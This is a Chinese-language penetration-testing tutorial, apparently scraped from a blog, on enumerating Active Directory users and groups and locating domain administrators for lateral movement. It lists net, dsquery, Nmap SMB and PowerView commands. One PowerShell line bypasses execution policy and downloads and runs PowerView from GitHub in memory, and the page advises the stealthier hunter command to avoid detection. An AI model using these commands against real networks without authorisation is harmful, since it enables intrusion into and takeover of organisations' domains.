1.查找所有域用户列表

向域控制器进行查询

代码语言:javascript复制net user /domain 获取域内用户的详细信息

代码语言:javascript复制wmic useraccount get /all获取到的信息包含用户名,描述信息,SID,域名,状态等等。

获取存在的用户(要在 Active Directory 域管理服务器上运行。)

代码语言:javascript复制dsquery user代码语言:javascript复制dsquery computer 查找目录中的计算机

dsquery contact 查找目录中的联系人

dsquery subnet 查找目录中的子网

dsquery group 查找目录中的组

dsquery ou 查找目录中的组织单位

dsquery site 查找目录中的站点

dsquery server 查找目录中的AD DC/LDS实例

dsquery user 查找目录中的用户

dsquery partition查找目录中的分区

dsquery * 使用通用的LDAP查找目录中的所有对象查找本地管理员组用户

代码语言:javascript复制net localgroup administrators2.查询域管理用户组

查找域管理员用户

代码语言:javascript复制net group “domain admin” /domain查找管理员用户组

代码语言:javascript复制net group “Enterprise Admins” /domain3.快速定位域管理员

内网渗透的目标是拿到某台特定的用户或计算机的权限,进而拿到特定的数据。

常规定位域管理员的方法

代码语言:javascript复制日志:指的是本地机器的管理员日志,可以使用脚本或wevtutil导出查看。

会话:指的是域内每台机器的登录会话,可以使用netsess.exe或powerview等等工具查询 可以匿名查询,不用权限(常用)常规域管理员定位的工具

如果我们拿到了一台普通用户权限的windows计算机,想要在内网中横向移动,需要知道域内用户登录的位置,是否是本地管理员,他的组,是否有权访问文件共亨等等。

常用的域管理员定位工具有psloggedon.exe,PVEFindADUser,exe,netsess,exe以及huner,Netview等等。

在PowerShell中,常用的工具是PowerView。

psloggedon.exe

在Windows平台上使用psloggedon.exe,可以查看本地登录的用户和通过本地计算机或远程计算机资源登录的用户,原理是通过检查注册表的HKEY USERS项的key值来查询谁登录过(HKEY_USERS根键包括默认用户的信息(DEFAULT子键)和所有以前登陆的用户的信息.)但是有些功能需要管理员权限才能调用,而且会调用NetSessionEnum API。

代码语言:javascript复制一般来说不用加参数 psloggedon.exe //dc 就行PVEFindADUser.exe(要管理员权限)

2009年放出来的工具。可以查找活动目录用户登录的位置,枚举域用户等等。

代码语言:javascript复制PVEFindADUser.exe -h 显示帮助信息

-current["username"]列出目标计算机上当前登录的所有用户/显示该用户登录的计算机

其他命令不多说,百度就oknetview.exe(小部分要管理员权限)

利用 NetSessionEnum 来找寻登陆sessions, 利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。调用Api太多不是个好事。

代码语言:javascript复制netview.exe 参数

常见参数

-h 查看帮助信息

-d 从当前域中提取主机列表 -d domian 指定提取主机列表的域

-g 在Domain admins组中搜索组名 -g group 指定搜索组名

-c 对找到的共享目录/文件的访问权限进行检查Nmap的NSE脚本

如果存在域账号/本地账号,我们可以使用Nmap的smb-enum-session.nse脚本来获取远程机器的登录会话。

代码语言:javascript复制https://nmap.org/nsedoc/scripts/smb-enum-sessions.html用法示例

代码语言:javascript复制nmap --script smb-enum-sessions.nse -p445

sudo nmap -sU -sS --script smb-enum-sessions.nse -p U:137,T:139 其他nmap脚本

代码语言:javascript复制smb-enum-users.nse

下载:https ://svn.nmap.org/nmap/scripts/smb-enum-users.nse

使用SAMR枚举或LSA暴力破解不同的技术来枚举远程Windows系统上的用户,并提供尽可能多的信息。默认情况下,两者都使用,但是它们具有特定的优点和缺点。最好同时使用两者,但在某些情况下,最好优先选择两者。

用法示例

nmap --script smb-enum-users.nse -p445

sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 代码语言:javascript复制smb-enum-domains.nse

下载https://svn.nmap.org/nmap/scripts/smb-enum-domains.nse

尝试枚举系统上的域及其策略。可以获取主机信息,用户,可使用的密码策略的用户等等。

用法示例

nmap --script smb-enum-domains.nse -p445

sudo nmap -sU -sS --script smb-enum-domains.nse -p U:137,T:139 Powershell下的脚本

powerView脚本

代码语言:javascript复制本地调用 powershell.exe -exec bypass -command "&"

远程调用 powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1');invoke-stealithuserhunter"

域中定位域管理员:Invoke-UserHunter命令,在使用时不需要管理员权限;

获取域内所有用户:invoke-stealthuserhunter命令,在使用时不需要管理员权限;隐蔽性高。优先使用

其他

Get-NetDomain: 获取当前用户所在域的名称

Get-NetUser: 获取所有用户的详细信息

Get-NetDomainController: 获取所有域控制器的信息

Get-NetComputer: 获取域内所有机器的详细信息

Get-NetOU: 获取域中的OU信息

Get-NetGroup: 获取所有域内组和组成员信息

Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息

Get-NetShare: 获取当前域内所有网络共享信息

Get-NetSession: 获取指定服务器的会话

Get-NetRDPSession: 获取指定服务器的远程连接

Get-NetProcess: 获取远程主机的进程

Get-UserEvent: 获取指定用户的日志

Get-ADObiect: 获取活动目录的对象

Get-NetGPO: 获取域内所有的组策略对象

Get-DomainPolicy: 获取域默认策略或域控制器策略

Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限

Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户

Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。